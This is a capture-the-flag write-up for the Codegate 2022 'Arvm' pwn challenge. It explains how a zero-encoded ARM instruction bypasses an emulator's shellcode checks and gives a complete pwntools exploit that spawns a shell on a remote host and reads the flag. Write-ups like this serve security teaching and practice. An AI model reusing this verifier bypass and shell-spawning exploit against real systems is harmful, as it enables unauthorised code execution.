Arvm

Author: Nspace

Tags: pwn

Points: 793 (25 solves)

Description:

Welcome! Here is my Emulator. It can use only human.

Always SMiLEY :)

This challenge is an ARM binary running in qemu-user. The challenge asks us to input up to 4k of ARM machine code, then gives us a choice between running the code, printing it, or replacing it with new code.

Running Emulator...
Welcome Emulator
Insert Your Code :>

[...]

1. Run Code
2. View Code
3. Edit Code
:>

When we choose to run the code the binary asks us to solve a simple captcha, where we only have to read a number from the challenge and send it back.

Before run, it has some captcha
Secret code : 0xf40117a4
Code? :> $ 0xf40117a4

After we pass the captcha, the binary verifies our shellcode (run()):

struct vm *vm;

void invalid_insn(uint32_t insn)
{
  printf("Instruction 0x%x is invalid\n", insn);
  exit(-1);
}

int run(void)
{
  unsigned int v0;
  uint32_t next_insn;

  for (uint32_t insn = -1; vm->registers[15] < vm->code + 4096; insn = next_insn) {
    if (vm->registers[15] < vm->code) {
      break;
    }

    next_insn = *(uint32_t *)vm->registers[15];
    vm->registers[15] += 4;

    if (insn == 0) {
      break;
    }
    if (insn != -1 && !sub_11314(insn)) {
      invalid_insn(insn);
    }

    v0 = sub_1124C(insn);
    if (v0 <= 4) {
      switch (v0) {
        case 0u:
          if ( sub_117B8(insn) == -1 )
            invalid_insn(insn);
          continue;
        case 1u:
          if ( sub_11D98(insn) == -1 )
            invalid_insn(insn);
          continue;
        case 2u:
          if ( sub_11F28(insn) == -1 )
            invalid_insn(insn);
          next_insn = -1;
          continue;
        case 3u:
          if ( sub_126EC() == -1 )
            invalid_insn(insn);
          continue;
        case 4u:
          if ( sub_12000(insn) == -1 )
            invalid_insn(insn);
          continue;
        default:
            invalid_insn(insn);
          continue;
      }
    }
    if ( v0 != -1 ) {
      invalid_insn(insn);
    }
  }
  return 0;
}

If the verification succeeds, the binary runs our shellcode.

The run function is presumably trying to prevent our shellcode from doing something fishy like launching a shell. However I don’t know for sure becauase I didn’t actually reverse the checks.

Instead I noticed that the verification succeeds immediately when it encounters an instruction that encodes to 0. 0 is a valid ARM instruction that is essentially a nop (andeq r0, r0, r0). This means that we can easily bypass all the checks by prefixing our shellcode with this instruction.

Here is the final exploit script:

from pwn import *

e = ELF('app')

context.binary = e

shellcode = asm('\n'.join([
    'andeq r0, r0, r0',
    shellcraft.sh(),
]))

if args.REMOTE:
    r = remote('15.165.92.159', 1234)
else:
    r = process('./run.sh')

r.sendafter(b'Insert Your Code :> ', shellcode)
r.sendlineafter(b':> ', b'1')
r.recvuntil(b'Secret code : 0x')
captcha = int(r.recvline().strip().decode(), base=16)
r.sendline(hex(captcha).encode())

r.sendline(b'cat flag*')
r.stream()
$ python3 exploit.py REMOTE
codegate2022{79d1bafd64f2e49a5bc60e001d179c23ce05f43a5145ea1ff673a51fbe81d8baf846e3adab31d65792838d73b06047822fb419ebc522}